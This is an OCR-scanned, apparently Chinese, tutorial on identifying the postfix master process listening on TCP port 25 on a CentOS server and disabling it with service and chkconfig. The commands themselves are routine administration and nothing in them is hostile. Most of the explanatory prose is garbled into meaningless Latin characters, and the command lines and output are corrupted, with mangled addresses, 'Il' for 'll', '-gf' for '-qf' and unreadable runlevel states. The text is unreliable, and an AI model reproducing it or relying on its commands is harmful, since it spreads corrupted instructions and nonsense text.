Myles 2% >]JAZ7 QQ: 2983207137
RE: Ccent0S RAFINTIREI T T —Ledblk 55 iS5t 1, AbT 2242 e IRAT AT LUK X dE g

RS HAT R, ARG SO AL 1 BAR R R .
Wt LARH TCP 25 i XS AR S5 9 B A, JRIT SR BIHCE.

2.14.1 B R O B R 53R FE

| [root@localhost ~]# netstat -ntlp|grep 25

[root@usm postfix]# netstat -ntlp |grep 25

tcp a 6 6.6.8.8:37138 6.6.0.0:* LISTEN 2542/ /rpc.
statd

tcp a e 127.6.6.1:25 6.6.0.0:* LISTEN 15983 /mas
ter

tcp a @ ::1:25 Eget LISTEN 15983 /mas
ter

tcp e B :::47976 ggat LISTEN 2542 /rpc.
statd

2.14.2 B RS MR &

H UL ERES, IRATTTLLE ] TCP 25 3 1% N IR 5N master, IS4 4% T k3K,
14k S22 3k master BEREXT N 1 BARAR 55 4 .

(1) 74k master MAFNLE

| [root@usm ~]# locate master |grep '/masterS'

fusr/libexec/postfix/master
[root@usm ~]#

(2) #&if) master AR AAFR

| [root@us m init.d]# rpm -gf '/usr/libexec/postfix/master

postfix-2.6.6-2.2.el6_1.x86_64

(3) #r$k postfix 55518 sl A4

| [root@us m ~]# Il /etc/init.d/postfix |
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-ruxr-xr-x. 1 root root 3852 128 3 2011 /etc/init.d/postfix

WHE master 223540 H 44 R4 postfix, F A TRT PAHERN master HEFEXF N 1R 55
JA B2 Jetc/init.d/postfix.

2.14.3 FHHER %
FEATF] TCP 25 S 6B AR 55 A postfix Ji, 3 N RBATFH B2 M E .

o 15[ postfix K55
o 25 postfix i %% (off)

(1) &1k postfix Ak5%

[root@usm ~]# /etc/init.d/postfix stop
s

[root@usm ~]# service postfix stop

(2) WH postfix BRINESIACE N off
[root@usm ~]# chkconfig --level 3 postfix off

(3) postfix i 5515 I (AN B 1 72

[root@usm ~]# chkconfig --list |grep postfix
postfix a:3 1:3[] 2:2H 3:BH 4:BFH s:EH 6: 7%

[root@usm ~]# chkconfig --level 3 postfix off

[root@usm ~]# chkconfig --list|grep postfix
postfix a:3 1:3[] 2:2H 3:7%MH 4:BFH s:EH 6: 7%

[root@usm ~]#

2.14.4 F /NG

AT SO B AEE R “PORT” (S 1) SR ALK linux "IN A BAA R 5%, 2R )5 52 A AR
FHEAE SRR, BB EE ST, BA—BIT.

(1) ERLARY 553w
(20 AR I 11 % B0 B ) IR 95 3ERE 44 5
(3) fikHEstrEd, FATEIRBRE A WAL E

(&) fRPEHERE AT, BATREFRAAR ARG, EikE 7kt Wit
B 7 BRI BAR AR5 4 5
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(5) a5 s H S5 2 AT
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